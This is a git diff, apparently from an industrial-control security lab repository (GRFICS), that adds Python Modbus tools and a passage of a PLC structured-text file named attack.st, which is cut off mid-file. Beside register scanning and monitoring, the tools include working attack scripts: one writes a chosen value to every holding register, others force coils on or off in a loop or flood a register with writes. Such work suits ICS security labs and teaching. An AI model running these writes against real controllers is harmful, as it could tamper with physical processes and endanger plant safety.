read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + 